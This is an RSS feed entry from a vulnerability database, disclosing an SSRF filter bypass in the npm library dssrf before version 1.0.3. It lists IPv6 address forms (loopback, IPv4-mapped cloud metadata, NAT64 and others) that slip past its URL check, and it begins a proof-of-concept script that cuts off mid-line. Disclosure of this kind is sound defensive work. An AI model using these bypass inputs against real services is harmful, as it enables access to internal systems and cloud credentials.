https://db.gcve.eu/rss/recent/all/10 Most recent entries from all 2026-09-29T01:46:42.183417+00:00 Vulnerability-Lookup info@gcve.eu python-feedgen Contains only the most 10 recent entries. https://db.gcve.eu/vuln/fkie_cve-2026-44232 fkie_cve-2026-44232 2026-09-29T01:46:42.210733+00:00

DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF defense checks. Prior to 1.0.3, every IPv6 category bypasses is_url_safe. This vulnerability is fixed in 1.0.3.

 https://db.gcve.eu/vuln/ghsa-8p33-q827-ghj5 GHSA-8p33-q827-ghj5 — dssrf: every IPv6 category bypasses is_url_safe 2026-09-29T01:46:42.210815+00:00

Affected: npm: dssrf

A vulnerability on dssrf allow, an attacker to use, one of them following ipv6

```rust Input Category http://[::1]/ IPv6 loopback http://[fc00::1]/ IPv6 ULA http://[fe80::1]/ IPv6 link-local http://[::ffff:127.0.0.1]/ IPv4-mapped loopback http://[::ffff:169.254.169.254]/ IPv4-mapped IMDS http://[::ffff:100.64.0.1]/ IPv4-mapped CGNAT http://[64:ff9b::7f00:1]/ NAT64 well-known prefix http://[64:ff9b:1::1]/ NAT64 local-use (RFC 8215) http://[5f00::1]/ SRv6 SID (RFC 9602) http://[3fff::1]/ IPv6 documentation (RFC 9637) http://[fec0::1]/ IPv6 site-local (deprecated, RFC 3879) http://[::127.0.0.1]/ IPv4-compatible IPv6 ```

one of those to bypass dssrf and the attacker get **SSRF**, we claim that ipv6 disabled entirely that is wrong on our documentation

### POC

```bash mkdir dssrf-poc && cd dssrf-poc npm init -y >/dev/null npm install dssrf@^1.0.2 cat > audit.js <<'EOF' const dssrf = require('dssrf'); const cases = [ ['http://[::1]/', 'IPv6 loopback'], ['http://[fc00::1]/', 'IPv6 ULA'], ['http://[fe80::1]/', 'IPv6 link-local'], ['http://[::ffff:127.0.0.1]/', 'IPv4-mapped loopback'], ['http://[::ffff:169.254.169.254]/', 'IPv4-mapped IMDS'], ['http://[64:ff9b::7f00:1]/', 'NAT64 well-known + 127.0.0.1'], ['http://[64:ff9b:1::1]/', 'NAT64 local-use (RFC 8215)'], ['http://[5f00::1]/', 'SRv6 SID (RFC 9602)'], ['http://[fec0::1]/',…